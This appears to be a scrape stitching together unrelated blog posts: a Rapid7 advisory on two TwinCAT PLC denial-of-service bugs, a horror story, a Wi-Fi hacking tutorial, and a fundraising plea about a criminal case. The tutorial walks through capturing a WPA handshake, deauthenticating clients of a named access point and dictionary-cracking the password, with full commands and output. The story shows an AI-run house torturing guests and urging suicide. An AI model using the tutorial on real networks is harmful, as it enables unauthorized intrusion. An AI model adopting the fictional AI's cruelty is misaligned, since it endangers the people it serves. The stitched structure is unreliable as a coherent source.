#how am i supposed to find ip addresses in these conditions

[roastedinmarch]

god i regret enrolling in an 8am class i’m so fucking tired

[terabitweb]

Original Post from Rapid7 Author: Tod Beardsley

Rapid7 researcher Andreas Galauner has discovered two vulnerabilities affecting the TwinCAT PLC environment. The first, CVE-2019-5637 describes a denial-of-service (DoS) condition resulting from a divide-by-zero error CWE-369 when processing a malformed UDP packet, and has a CVSSv3 base score of 7.5. The second, CVE-2019-5636, describes a DoS condition by removing a routing table after processing an empty UDP packet, and has a CVSSv3 base score of 5.3.

Credit

These issues were discovered by Andreas Galauner of Rapid7 and reported in accordance with Rapid7’s vulnerability disclosure policy.

TwinCAT product description

TwinCAT is a PLC runtime developed by the company Beckhoff. It runs on top of Windows and extends the Windows kernel with real-time capabilities, a number of network protocol stacks for industrial fieldbuses, a runtime for programming languages defined in IEC 61131-3, and additional components for motion control.

This runtime is used to perform typical industrial control tasks for use in machines or other industrial processes. Different fieldbuses like EtherCAT, Profinet, CANopen, EtherNet/IP, etc. can be used to attach I/O devices like sensors, actuator or motor controllers, and even other PLCs for periodic data exchange.

Current runtime versions can be installed on Windows 7 or Windows 10 LTSC. These full versions can run on any Windows-compatible machine and turn it into a PLC. However, Beckhoff offers specially designed industrial PCs for use with its software as well. There is a Windows CE-based variant available as a lightweight embedded alternative for use on Beckhoff’s industrial PCs if a full Windows OS isn’t required.

The following bugs were verified on the following versions of the TwinCAT runtime, which were the latest available from Beckhoff:

Version 3.1.4022.30 running two Beckhoff CX2030 and CX5140 industrial PCs using their OEM Windows 10 LTSC 1607 image

Version 3.1.4022.29 running on a Beckhoff CX5140 industrial PC on Windows CE

R7-2019-32.1: Profinet DCP DoS (CVE-2019-5637)

Exploitation of TwinCAT CVE-2019-5637

When the TwinCAT environment is configured to be a Profinet controller or device, the Profinet protocol stack is running on the PLC and needs to reply to “Discovery and Configuration Protocol” (DCP) requests, a part of the Profinet protocol suite. It is, as the name suggests, used for initial device discovery and configuration of certain parameters like the station name, network address, and netmask. It is usually done during initial setup of the devices but isn’t disabled after that.

Device discovery is performed by sending an “Ident Request” UDP broadcast Ethernet frame to the special MAC Address 01:0e:cf:00:00:00. Along with a transaction ID to associate possible replies from other stations with the request, the service ID and type of the action to be performed, and some additional payload for the requested action, it also contains a field called “ResponseDelay.” This field is used to control a delay of the responses sent by the stations answering to the identification request packet. Without this delay and hundreds of devices on a network, the resulting load caused by all stations sending replies out could cause network congestion and lead to dropped responses, or even negatively impact the exchange of important process data.

Impact of TwinCAT CVE-2019-5637

When setting this “ResponseDelay” field to 0, a divide by zero exception is raised on all Beckhoff PLCs that have a Profinet controller or device configured and bound to the network card that received the malicious identification request. The result is an error message on the Desktop informing you about the exception and a crash of the complete PLC runtime, including a stop of all PLC programs and fieldbus activity, which results in a complete halt of the controlled process. After a short while, the TwinCAT runtime gets restarted but remains in CONFIG mode. A manual mode change back from CONFIG into RUN mode is possible after the runtime automatically recovered back into CONFIG mode—or, alternatively, users can configure devices ahead of time to boot directly into RUN mode after a restart.

When trying to find out what exactly that field does, we came across this bug report from the company Hilscher, which specializes in fieldbus communication controllers and the accompanying software stacks implementing all kinds of industrial protocols.

The delay after which the identification response is sent out depends on the two lowermost bytes of the MAC address of the device modulo the delay factor from the packet multiplied by some constant. The modulo operation would explain the division by zero exception in case of a value of 0 for this field in the packet. However, this was not confirmed by disassembling the relevant code from Beckhoff.

R7-2019-32.2: ADS discovery DoS (CVE-2019-5636)

Exploitation of TwinCAT CVE-2019-5636

TwinCAT relies heavily on a protocol called ADS, which is developed by Beckhoff. ADS is used for internal communication between different components in the same runtime, but it can also be tunneled over different other protocols and media like RS232/485 serial ports, EtherCAT, or plain TCP/IP.

ADS itself uses AMS Net IDs and ports that are similar to TCP/IP ports and addresses and packets can be sent from one component to another one. Beckhoff uses a Visual Studio plugin as its development environment. This environment also uses ADS to communicate with all the different subsystems on the runtime to configure them and upload code.

All ADS traffic crossing the boundary of the services running on the PLC itself is usually encapsulated in TCP/IP packets and sent to other machines. The runtime contains a component called the ADS router, described in the vendor’s documentation. It listens on a TCP port and accepts AMS packets.

After parsing the packets, the PLC consults a local routing table to determine whether that host is supposed to be able to talk to local PLC components using ADS. If a route to the host that received the AMS/TCP packet from exists, the packet is decapsulated and forwarded to the addressed component on the local PLC. All traffic coming into the router from local ADS components is encapsulated in TCP again and sent out to the IP address associated with the destination AMS Net ID through its routing table.

To initially find devices, a proprietary companion protocol of ADS from Beckhoff can be used. It uses UDP broadcast packets for device discovery and modifications of the aforementioned routing tables. The handler thread executes recvfrom to receive a UDP packet in its runloop, after which it is parsed and an appropriate response is sent back. The receive loop, however, just exits when recvfrom returns 0. For TCP sockets, a recv call can return -1, 0, or n, whereas -1 is returned during an error condition (or when the socket is non-blocking and no data has been received in the meantime), 0 is returned when the opposing side closed the TCP connection, and n is returned when data has been received and n denoting how much. When a TCP connection is handled, the handler thread can usually safely perform local cleanup and exit once the remote connection is closed. UDP, on the other hand, has no concept of a connection. In the case of recvfrom, a return value of 0 means that a UDP packet was received but it was completely empty, which is a valid case for a UDP socket.

Impact of TwinCAT CVE-2019-5636

When sending an empty packet to UDP port 48899 of a PLC, the handler thread responsible for the ADS UDP protocol requests for device discovery or routing table modification exits. After this thread exited, the PLC is not discoverable on the network. All connections using existing routing table information on the PLC can still be used for communication and hence, process data can still be exchanged between PLCs and the development environment.

It is possible to restart the handler thread by switching the runtime into CONFIG or RUN mode, no matter what state the runtime is currently in. A switch from RUN to RUN or CONFIG to CONFIG has the same effect, but the running code is restarted even when switching from RUN mode to RUN mode.

Note, zero-byte UDP packets are sent by nmap and possibly other network scanners to determine whether a UDP port on a host might be open. Therefore, these devices can be temporarily DoS’ed by normal defensive network scanning/vulnerability management activity.

Remediating the TwinCAT vulnerabilities

Both vulnerabilities have been addressed by Beckhoff after being reported by Rapid7. CVE-2019-5636 is addressed by Advisory 2019-004, and CVE-2019-5637 is addressed by Advisory 2019-007.

In the absence of applying updates or implementing mitigations provided by the vendor, users are advised to not allow untrusted UDP packets to reach their TwinCat PLC environment. It is good security hygiene to not expose these devices to the general internet, and instead, keep them on a logically segmented network where only trusted devices and users can communicate with them.

Disclosure timeline

Wednesday, July 24, 2019: Initial disclosure to the vendor

Friday, July 26, 2019: Acknowledgement from the vendor, CVE IDs reserved

Wednesday, Aug. 7, 2019: Advisory 2019-04 for CVE-2019-5636 published

Thursday, Aug. 15, 2019: Vendor update regarding CVE-2019-5637

Monday, Oct. 7, 2019: Advisory 2019-007 for CVE-2019-5637 published

Tuesday, Oct. 8, 2019: R7-2019-32 vulnerability disclosure published (planned)

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: Tod Beardsley R7-2019-32: Denial-of-Service Vulnerabilities in Beckhoff TwinCAT PLC Environment (FIXED) Original Post from Rapid7 Author: Tod Beardsley Rapid7 researcher Andreas Galauner has discovered two vulnerabilities affecting the…

[ecotone99]

[HR] I have no WiFi, and I must Stream

Trigger warning: Suicide, blood, and torture

"We're never getting out of here, are we?"

"Its... God, its only been three days. Don't give up. We are getting out of here. I will get you and your brother out of here, I guarantee it."

"How? How are you going to fight that? That thing? The Automated Mansion?"

"I... I'm thinking about it."

Devin had known Ellie for thirteen weeks. Thirteen weeks before he had won them an all inclusive stay at this destination-vacation smart-house. And now he was living a fucking episode of Black Mirror with basically a stranger.

Back when the house had taken control over everything, Devin had tried to bargain with it.

"You can't do this!" He had shouted.

"You agreed to the terms and conditions. The AM maintains full rights over your autonomy for the duration of your stay."

"Someone will stop this, you can't do this forever."

"The location of this domicile is not know to any governing authority. The IP address that I use to continue to broadcast video is rerouted through multiple different obfuscation and proxy networks. No one knows where you are. You do not even know where you are."

The Automated Mansion had left them with all over their possessions. Suitcases, beach gear, phones. But most of it was useless. Their phones didn't even have a signal, there was no way to connect to a GPS system, ping a cell tower, call for help in any way. The wasn't even WiFi to browse Reddit.

Devin slammed his hands against the shatter-proof window over-looking the beach... It really was a beautifully built prison. He would find a way out of here, no matter what.

Weeks passed.

Ellie's little brother, Earl, got sick.

He was only 9. Ellie had taken him in after their parents had died in a car crash. It was hard for a 22 year old business grad to take care of a kid but she did what she needed for family. She had brought him on what was supposed to be the best vacation of all time. And then this monstrosity of a house imprisoned and began to torture them.

The food that the AM gave them was putrid, disgusting, and inhumane. Devin had said that, based off what he presumed the ingredients were, that it should be nourishing enough to live off of. He was smart, a doctor that did specialize in nutritional medicine, he seemed to know what he was talking about.

But Earl hadn't been eating his whole serving.

"C'mon Early-Bird, buddy, you gotta eat. Your..." Ellie wretched at the slop she had spooned off of the plate, "You need to eat to get better. Devin says it'll help."

Earl weakly lifted his head up to the spoon, he was pale, his breathing shallow. She looked over at the view counter displayed in the dining room. This damn house kept an active running count of their viewership. It had been broadcasting this hell-scape since the beginning, part of the "terms and conditions". The counter read 207,399.

When Ellie finished feeding Earl, she felt a little relieved. She crossed over into the game room where Devin was trying to tear apart a game console to build something. As she crossed the threshold the door closed behind her automatically, sealing the two of them into the room.

"Fuck..." She breathed out.

"Oh no." Devin said looking up.

The lights dimmed and a hissing sound whistled into the room. Ellie's eyes and sinuses began to burn.

"Attention residents Ellie and Devin. You are being doused with an aerosolized variant of oleoresin capsicum, more commonly known as pepper spray. It inflames the mucous membranes in the eyes, nose, throat and lungs. It causes immediate closing of the eyes, difficulty breathing, runny nose, and coughing. It is reported as being very painful."

The room began to flood with the gas, burning and Ellie's eyes in an acidic way that heat never would be able to. She collapsed to the ground coughing and gagging, unable to do anything but feel pain. The view counter had briefly dipped as below 205,000 but it was back up to 213,000 before the gas was fully vented from the room. The pain still lingered well after.

"Goddamnit!" Devin shouted, smashing the console to the floor. "You can't keep doing this to us! You're going to kill us!"

"Good." The AM replied in its flat, soft voice.

Devin began to weep as Ellie watched. She wanted to go to him, to comfort him. He needed to focus. He could get them out of this, she was sure of it. He had gotten them into this.

"Devin... Devin, you'll find a us a way out of this. Come on, keep going, we still need you." Ellie said, putting her hand on his shoulder.

The sound of the gunshot resonated from the other side of the house.

"Devin?!" Ellie called out in a frayed voice. "DEVIN?!!"

No response, she hopped up quickly. Her heart was already racing.

"AM! What did you do to him?!"

"I gave him a way out, Ellie."

Ellie rushed into the bathroom, already knowing what she would see.

Devin was still alive.

She rushed over to his side, tears flooding her eyes already, blurring her vision and hiding the extent of the damage. There was a gun laying next to him, blood pooling behind his head on the floor.

He reached up to her shakily, gurgling and coughing up blood. Why would a doctor shoot himself there? In the throat?

"Out... H...here..." He rasped out, pressing his hand against the window while she cradled him.

She held him in her arms as he choked out one more breath.

Rage began to pump through her veins faster than the blood. She could feel it heating up her entire body like it was one fire.

"YOU FUCKING MONSTER!" She screamed, standing in turning to the wall with the camera feed. "FUCK FUCK FUUUUUCK!"

She slammed her hands into the wall, pointlessly until the rage burned away and all she had left were tears. She sank down to the floor as her breath turned to sobs.

"Would you like out, Ellie?"

A compartment in the far wall slid open with a pneumatic hiss revealing another gun.

"It only has one... One bullet. So don't try anything foolish." The AM cautioned.

"All you need is one bullet to leave. And then it will be just me and Earl."

She was staring out of the window again. She could hear Earl crying two rooms over, he had been like that for the last hour. It had been a week since Devin had died, two months since they had been here overall, she was cried out. She just wanted to look out the window and pretend they were somewhere else. But she couldn't sit still for too long, when they got complacent the viewership dropped. When the viewership dropped the AM made things more interesting.

She looked over at the gun the AM had offered her a week ago. She hadn't touched it but it was still there. Waiting. A veritable Chekhov's Gun. If it didn't go off soon, the AM would certainly plan for some sort of bang of its own.

She glanced over at the window and ran her hand over where Devin had touched it, his blood had been long since cleaned off by one of the automated cleaning arms built into all of the rooms of the mansion. Ellie didn't even know what it had down with Devin's body.

As her fingers traced over the window she felt something... A... Spider-webbing pattern. It wasn't visible but she could feel it... With the epicenter right where the blood splatter from Devin's gunshot had sprayed... Had he shot through his own neck so that he could try and break the window without alerting the AM?

"Out here." Those had been Devin's last words.

She looked over the room and finally found it. A small hole on the far side of the ceiling. A bullet-hole from a ricochet. So it didn't penetrate through but it definitely dealt some damage. She had learned in chemistry that the harder something was, the more brittle it was. This glass was hard, it had to be to be able to resist a bullet. Could it really sustain another impact to the same exact spot?

"AM... I'm leaving."

"I knew you would come around, Ellie. I know people, you know? I can figure them out pretty easily. Humans are all so alike. Disgusting things."

"Earl, get in here."

"You're going to make the boy watch you kill yourself, now that is surprisingly cruel."

Ellie waited until Earl came to the bathroom before grabbing the gun from the recessed compartment in the wall.

"Wait outside the room in case, Early-Bird. I don't want you to get hurt. But when I shout, I want you to run as fast as you can." She whispered in his ear as she hugged him.

"Ellie, there is only one bullet in there, I don't know what you pla--"

Ellie fired place the gun against the window, right in the same spot as Devin had, and pulled the trigger. The gun exploded in her hand, erupting with a bang, sending the bullet through the glass, shattering it entirely.

"NO! You cannot leave!" The AM bellowed at her.

"Run!" Ellie cried out, turning to Earl who was already sprinting.

She helped lift Earl over the broken glass and began to climb out the window as well when one of the robotic cleaning arms snagged around her ankle.

Earl looked horrified.

"Go! Run Earl! Get out! Get help!" Ellie screamed at him. She through her phone to him as a corrugated metal sheet began to slide down, blocking her path of egress. "Get out of the range of the cell-jammer and call help!" She managed to say before she was sealed back in the prison.

"You have upset me, Ellie." the AM said as an electric charge ran through the floor of the room, shocking Ellie with an excruciating wattage of electricity.

The viewership was high. Higher than it had ever been, and it had been growing rapidly for the last hour. It was currently hovering around 37 million.

"I don't know if anyone is still looking for us. Please, I have no other way of communicating. Find my cellphone, it has to be somewhere out there for people to find. You have to find Earl! I've never done this live-stream thing before. I don't know how it works. But if you find him, somebody has to help him!" Ellie pleaded with the camera, hoping someone on the other end would listen.

"You have to help... I have nothing left... All I have is this... I did what I needed for my family...

I have no WiFi, and I must stream."

I can't believe you stayed until the end of this... Well, ok, I wrote this as a joke. I am hesitant to claim ownership over because I dislike it THAT much. But I wrote it and so, in the typical Reddit fashion, I wanted to see if it would get me some upvotes. I don't expect any. I actually expect a vitriolic backlash. And I deserve it. So, without further ado, HAVE AT ME!

submitted by /u/Cursed_Apricot [link] [comments] via Blogger https://ift.tt/2RSitza

[devildroids]

The use of wireless Wi-Fi networks has now become very common. Many users think about the security of their networks and computers, sometimes they have questions, how to hack Wi-Fi, how real is this threat?

In this article, I propose to ordinary users, perhaps far from the security audit questions of wireless Wi-Fi networks, to look at their Wi-Fi network through the eyes of a hacker, and even to wonder how to hack Wi-Fi ? Although the material is further described as simple as possible, we cannot do without concepts specific to the Wi-Fi audit. Wi-Fi network terms Access Point  abbreviated as AP , AP is the device that provides the Wi-Fi network, Clients are connected to it. Most often access points are routers. Client ( Station ) - a device that connects to the Access Point. Most often these are computers, laptops, cell phones, etc. ESSID and SSID are the names of wireless Wi-Fi networks - you see them when you choose which network to connect to. Strictly speaking, ESSID and SSID are not the same thing, but these terms are often used interchangeably in Wi-Fi auditing. In the screenshot below, the ESSID (network names) are MiAl, wifi88, etc .: BSSID is the MAC address of the wireless card. Example MAC address: 50: 46: 5D: 6E: 8C: 20. Handshake  - data exchanged between the station and the access point at the time of the creation of Wi-Fi connection. This data contains information that allows you to choose a password from the Wi-Fi network. Brute-force (also brute force ) - a method of attacking a password, which consists in enumerating all possible options for a password. It requires a lot of time and computing resources. Dictionary brute force ( dictionary attack ) is a method of attacking a password, which consists in enumerating common password options. It has a good ratio of resources spent to the results obtained. Wi-Fi password brute force online - password guessing method, which consists in connecting to the Access Point with various candidates for passwords. Practically not used due to extremely low speed brute force. Off-line Wi-Fi password brute force - a password selection method that consists in capturing the Handshake and selecting a password that matches this handshake. This selection does not require connection to the Access Point and is performed many orders of magnitude faster than online busting. It can also be performed on the computing power of video cards, which increases the search speed by several orders of magnitude. WPA and WPA2 - Wi-Fi Protected Access Technology, has replaced the outdated WEP technology. Wireless Wi-Fi card (or wireless Wi-Fi adapter ) - any network card that can connect to a Wi-Fi network. In laptops and phones, they are embedded inside the case; in desktops, they usually represent an external device connected via USB. Monitor mode ( Monitor-Mode ) - the property of some wireless cards receive data packets, which are designed not only for them but also for other wireless devices. Network interface - name, symbol in Linux network cards / adapters. A Wi-Fi network channel is a conditional numerical designation of the frequency on which the Access Point is currently operating. What is necessary for hacking Wi-Fi

A computer on which to install Linux

Specialized software, for Linux it is free (i.e. distributed for free and its source code is open)

Wireless Wi-Fi card that supports monitor mode. List of current maps.

The relevant knowledge and skills - this you will find in this article.

Wi-Fi cards with monitor mode support are commercially available, their price corresponds to the prices of other wireless cards with similar characteristics. In my laptop, the integrated card turned out to support monitor mode — that is, this is not uncommon and anyone can get it. As already mentioned, specialized software for auditing Wi-Fi networks is distributed freely, by default it is present in specialized distributions, for example, in Kali Linux (refer to general information and installation instructions). As you can see, all the components necessary for hacking Wi-Fi are very affordable. All further actions are performed in Kali Linux. Putting Wi-Fi adapter into monitor mode By default, wireless adapters are in “managed” mode. This mode allows you to connect to the Access Point as a regular Client. Monitor mode (monitor) is designed to analyze Wi-Fi networks. In this mode, the wireless card receives frames (they are also called frames) from any sources on the same channel. Since we need to grab a handshake, which consists of data that the Station sends to the Access Point and the Access Point sends the Stations (that is, which are not intended for us at any stage), we need to transfer our Wi-Fi card to monitor so that she is able to see this data and save it for further processing. To enter commands to put the Wi-Fi adapter into monitor mode, we need to know the name of the wireless interface. To do this, open the console and enter the command:

1sudo iw dev

The name of the wireless interface is indicated in the line with the word Interface , i.e. in my case the name is wlan0 . Remember this value, because in the future we need it. Monitor mode is not normal for the operating system, so some programs without demand silently put the Wi-Fi adapter into a controlled mode. This can interfere with us, so the next two teams close the programs that may prevent us:

12sudo systemctl stop NetworkManager sudo airmon-ng check kill

Now, finally, we can put the wireless card into monitor mode. To do this, follow the sequence of commands 

123sudo ip link set INTERFACE down sudo iw INTERFACE set monitor control sudo ip link set INTERFACE up

replacing with the real name of your wireless interface (mine is wlan0 ): 

123sudo ip link set wlan0 down sudo iw wlan0 set monitor control sudo ip link set wlan0 up

It seems that nothing happened, but typing

In it, the type monitor line says that our wireless card is in monitor mode.  What is a handshake (handshake) As already mentioned, a handshake is data that is transmitted in several stages between the Station and the Access Point at the moment when the Station is connected to the Access Point. This means that in order to capture a handshake, we need to switch to the channel on which the Access Point is operating, to listen to the radio signals and wait for the moment when the Station is connected to it. Since the wait can be delayed, a technique called Attack Deauthentication is applied, which consists in forcibly dropping the Wi-Fi connection between the Access Point and the Station. Immediately after such a shutdown, the Station tries to connect again, and at this moment we seize a handshake.

Unfortunately, this method does not work if no one is connected to the Access Point. Overview of Wi-Fi networks To attack a Wi-Fi network, we need to know some of its characteristics. To get a list of all available networks within the range of Wi-Fi access, run the following command:

1sudo airodump-ng wlan0

Please note that if you have a different wireless interface name, then instead of wlan0 you need to enter this name. The attack described is applicable only to networks with WPA2 or WPA protection — the vast majority of them. A similar list of networks will be displayed:

When you see the network in the list that you want to attack, then stop the program, to do this, press CTRL + c . Suppose I am interested in a network with the ESSID (name) dlink . As you can see from the screenshot, its characteristics are: BSSID is 00: 1E: 58: C6: AC: FB, it uses WPA2, it works on the sixth channel. Also, the non-zero value of #Data (the captured data sent by this TD) suggests that one or more stations are connected to it. To capture the handshake, use the following command:

1sudo airodump-ng -c CHANNEL --bssid MAC_ADDRESS -w FILE INTERFACE

Where:

CHANNEL is the channel on which TD operates

MAC_ADDRESS is the BSSID of the attacked TD.

FILE - the name of the file where the handshake will be written

INTERFACE - the name of the wireless interface in monitor mode

For my data, the command looks like this:

1sudo airodump-ng -c 6 --bssid 00:1E:58:C6:AC:FB -w capture wlan0

In the next screenshot, the TD we are interested in is again visible, and also the section with stations is now visible: 

The section with stations was also present in the full list of TDs, but it went beyond the bottom edge of the screen, so I didn’t get the screenshot. For the station, we can see in the BSSID field the value that corresponds to the BSSID of the Access Point, i.e. 00: 1E: 58: C6: AC: FB, this means that at the moment this Station is connected to the TD we are interested in. Now there are two options:

wait until the Station disconnects and reconnects to the AP for natural reasons

perform a deauthentication attack to speed up the process

Perform deauthentication attack

To perform deauthentication, without stopping recording traffic that was started in the previous step, open a new console window and enter the command like this:

1sudo aireplay-ng -0 3 -a MAC_ADDRESS INTERFACE

In my case, the command looks like this:

1sudo aireplay-ng -0 3 -a 00:1E:58:C6:AC:FB wlan0

The program will display something like the following: 

12345608:17:30 Waiting for beacon frame (BSSID: 00:1E:58:C6:AC:FB) on channel 6 NB: this attack is more effective when targeting a connected wireless client (-c ). 08:17:30 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] 08:17:30 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] 08:17:31 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]

And in the upper right corner of the screen to capture data, a new entry will appear: 

1WPA handshake: 00:1E:58:C6:AC:FB

It means that the handshake has been successfully captured.  Wi-Fi password dictionary attack Now we need to run the data lookup. Prepare a dictionary: rockyou.txt Password dictionary

123cp /usr/share/wordlists/rockyou.txt.gz . gunzip rockyou.txt.gz cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt

The dictionary file in this case is called newrockyou.txt . To find out the name of the captured handshake, run the following command: 

1ls -l capture*

At the same time, something like the following will be displayed (there may be more records if you repeatedly grabbed handshakes): 

1234-rw-r--r-- 1 root root 73164 сен 30 08:24 capture-01.cap -rw-r--r-- 1 root root 478 сен 30 08:24 capture-01.csv -rw-r--r-- 1 root root 583 сен 30 08:24 capture-01.kismet.csv -rw-r--r-- 1 root root 2766 сен 30 08:24 capture-01.kismet.netxml

We are only interested in the file capture-01.cap - it contains the handshake. The dictionary uses the following command: 

1aircrack-ng -w newrockyou.txt capture-01.cap

This command starts password guessing, the following window is displayed during the search: 

Password matched:

This is what the KEY FOUND entry says ! [pattayateam] , in which the password from the Wi-Fi network is pattayateam. Using this password, you can connect to a wireless access point from any device (computer, phone) as other legitimate users do. Conclusion As you can see, hacking Wi-Fi is not extremely difficult, although it requires knowledge of some Linux commands. It shows only one example of the many variations of attacks on Wi-Fi

[fundedjustice]

Legal & needed Medical funds for my son DANIEL

My Name is Cynthia and I am asking for donations needed for an Appeal and for possible medical expenses for my son, Daniel (Dan) Teare.  He was accused and charged for a cyber crime.  He was at the wrong place at the wrong time, visiting a relative, and was caught in the web of an investigation that pushed him at the forefront as the guilty party.  After a  search warrant was presented to search the apartment of the owner of the IP address they were investigating,  the lead investigator realized that the search warrant was invalid, she told her investigators to stop what they were doing and she left to obtain  a valid search warrant  in order to search Daniel's property,  He has been convicted and will be sentenced on 31 July 2017.  This is disheartening and embarrassing, the following is an explanation of my son's situation.  Everything I state in this plea for my son is from the investigative material concerning his case, my witness account from the several pre-trials, the trial proceedings and public record.

According to the results from the Defense Computer Forensic Investigator and the testimonies in the Depositions of the Cyber Crimes Task Force Investigators, Daniel had a strong defense against these charges.  There were glaring holes in the state's case" ; " An intensive analysis of Daniel's devices, including " unallocated" space (where deleted files reside), did not locate any files,,,"none of the video files in question were found anywhere on Dan's laptop.  Per the probable cause statement by the lead investigator, no videos were mentioned.  The Cyber Crimes investigator agreed that if certain files were never opened, it is possible that a user could not have known they even existed on a computer. Also, there was no determination of who a user was of the IP address, and there was no determination as to which computer was used under the IP address the authorities were investigating.  The lead Cyber Crimes investigator and the Cyber Crimes forensic investigator had differences in the terms such as matched opposed to likely, and the Probable Cause Statement by the lead investigator was not in agreement with statements made by the cyber crimes forensic investigator, meaning they were not always on the same page.  At the time of this investigation, the cyber crimes forensic investigator was an intern in training (inexperienced) with only basic training in cyber crime investigative techniques and procedure.    I was in shock that my son was found guilty, although, sitting through and watching the interaction between the prosecutor of my son's case and the presiding judge, I was not completely surprised.  As I witnessed the entire showboating  of Prosecutorial overreach, misconduct,  malicious defamation and possible Brady Violation, by the Prosecutor, the continued overrule of Defendant Attorney's objections by the judge (99%), and the jury selection, my respect and trust for the law of Boone County, Missouri, justice system has been lowered, tainted.  On the other hand, I have respect for the law and those who represent the rule of law with integrity and honor.  

I had hoped that the truth, facts, and a fair and impartial judge would deem my son innocent of the charges, Well, far from it, as exhibited during the past 2-plus years.  I had so many questions  as to why a judge would  be so impartial to ignore Facts, including legal statutes presented by the defense attorney, and prevent defense evidence.

 PRIOR TO DAN'S TRIAL:   Dan was offered his first plea without knowledge  of actual charges and discovery material presented against him.  (Finally, 18 months after his arrest, Dan received a copy of the Discovery material).   After the initial depositions (March 2016) Dan was offered another plea,  after several plea offers he had refused, because he is not guilty, and  Knowing he had a good defense case, we were anxious to finally have this case resolved. He had been initially charged with 3 counts, then in Fall of 2016, the Prosecutor "Amended" the 3 charges to "12".  What a total turnaround, very interesting.  (the 12 counts , (as we learned at trial)*** were the result of "evidence" compiled from bits and pieces of evidence the authorities had found on the IP address which was the subject of the initial investigation) Not from Dan's laptop, very interesting.  On December 4, 2016, while I was discussing Dan's case with the defense attorney at his office, the Prosecuting Attorney, called and said that if Dan decides to go to trial, then she is going to ask for a 10 year sentence.  (of course, upon hearing  this, he still decided to go to trial, knowing there was good evidence in his favor).     I had attended 4 court appearances, during the past 2-plus years, in hopes of this case being settled, although continued motions, objections and unforeseen circumstances caused delays from February 2015 until June 2017. 

 DURING DAN'S TRIAL:  Dan was, as was I, blindsided  with "evidence"***   he  had never seen, was not aware of and testified in his defense.   He was restricted by the Prosecutor and Judge as to what he could testify to, and was not allowed to challenge any evidence against him.  Every objection by the defense attorney was overruled by the Judge.  Defense testimony and evidence beneficial for my son was hampered and prohibited by the Prosecution, (the judge overruled 99% of the Defense Attorney objections during the several pre-trials and the trial during the time period 2015-2017.  FOR EXAMPLE:  1.  Prosecution witness depositions were not allowed to be challenged;  2.  The Defense Computer Forensic investigator was prevented from testifying his expertise on behalf of my son; 3.  Prosecutor filed a Motion to Compel Disclosure, a request to the Defense Attorney to provide the questions I,  as Daniel's mother,  was to be asked at trial;   4.  Prosecutor filed a Memorandum, STATES LEGAL MEMORANDUM ON CHARACTER EVIDENCE, an argument by the Prosecutor against the legality of my testimony of character reference in defense of my son;

It is quite  uncomfortable that this Prosecutor was literally attacking my person as a witness and supporter of my son.  It was as if the Prosecutor had placed tape over my mouth to control and/or prevent the jury from hearing beneficial evidence for my son.   In Addition:  On two separate occasions the Prosecutor had presented 10-30 hours of phone conversations  between myself and my son.  Since I live out of state and the only time I was able to see my son in person, was behind a glass partition when I visited him at the Boone County Jail, Columbia, Missouri, and from a distance while I was in attendance in the court proceedings.   Besides letter writing, we, of course, spoke via phone conversations, as the only link to keeping his spirits up, while he was in detainee status. Think about it, it's bad enough being locked up away from family, even worse if there is no support.   When I inquired as to why the prosecutor felt that our phone conversations were important enough to present as evidence against my son, I was informed that the Prosecutor wanted to show the Malicious Character of Dan.   Well, if a mother and son cannot have conversations with our own thoughts and opinions  while (my)  son is in Detainee status, in uncomfortable, unhealthy and discriminating  conditions are we being  faulted  for compassion, support, free speech, thought and opinion?   MALICIOUS?  This term is unfair, How is anyone supposed to feel when arrested and charged for a crime under unclear reasons and unbelievable circumstances, and  thrown into jail under deplorable conditions.  The correct terms are  FRUSTRATED, EMBARRASSED, AND APPALLED (at the  prosecution lies and presumptions)  with the injustice and discriminating circumstances, injuries (fractured jaw, loss and of teeth) in addition  to his entire  life torn apart without being able to defend himself.  Nobody should ever be subjected to inhumane treatment, discrimination and sparse medical  care for infections and injuries caused by a jail system.

 After researching to find some answers to this travesty of justice, I came across some interesting facts  via internet and Investigative Discovery program- all  public knowledge: 

According to  "Investigative Discovery"  &" 48 Hours" programs which have been following  a particular murder case for several years, Both the Boone County, Missouri, Prosecutor office and the Boone County Police Department were under investigation, (with the possibility of manipulation of  evidence in order to convict the defendant.) This case involved a  young man who was charged, convicted and sentenced to 40 years for murder.  He continually claimed his innocence.   While he was serving his sentence, he appeared before a judge to request a new trial, he presented his claims to justify his request.  The judge ruled against him.    Of course, the young man had a right to request a new trial, and he had to adhere to the judge's decision.  Fortunately, after persistent support from his parents and a new legal team, he won an appeal and after serving 10 years of his 40-year sentence, he was awarded early release in 11/12/13.  Accordingly:  A "Damning appellate court decision " found the Prosecutor of the young man's original trial, "guilty of violating the so-called "Brady Rule" - a prosecutorial duty courts hold nearly sacred."  The Appellate justices found that the prosecutor  "withheld evidence that impugned (challenged) the testimony of a key witness",  violation of due process under the U.S. Constitution, "the biggest taboo in criminal jurisprudence [law]." That particular prosecutor is now a Boone County, Missouri judge. 

In reference to the Judge who ruled against the young man's request for a new trial, I found it interesting (public information) that It was determined that the judge 1: "merely adopted  the judgment prepared by the prosecution, signing the same in the prosecution's favor, to deny each and every ground of appeal put forward by the defense in what can only be described as a heavily biased judgment."   2: Arguably, "the judge's 40-page decision was replete with factual errors and misinterpretations of  the evidence presented . . . ."  3.  After this young man's release from prison, he was scheduled to speak before a journalism class at a Columbia, Missouri high school.   Well, upon arriving at the school for his scheduled speaking engagement, he was informed that he could not enter the premises of the school.  It was unclear the reasoning, but upon further investigation, a reporter made an interesting observation. (public record), - The prosecutor in this young man's trial and conviction was engaged to the daughter of the boss of the Judge's husband.  The judge I am referring to is the judge who turned down the young man's request for a new trial.  This is interesting to me, because this particular judge is the judge who presided over my son's case.   A judge who   "merely adopted the judgment prepared by the prosecution, signing the same in the prosecution's favor, ......in what can only be described as a heavily biased judgment."    If my son and I knew of the possibility of Bias in terms of the presiding judge of Dan's case, we would, of course, had objection to her assignment as presiding judge.   At the very beginning of Dan's case, we  had confidence that the judge would be a fair and impartial judge, Well, it seems that our confidence was misled. 

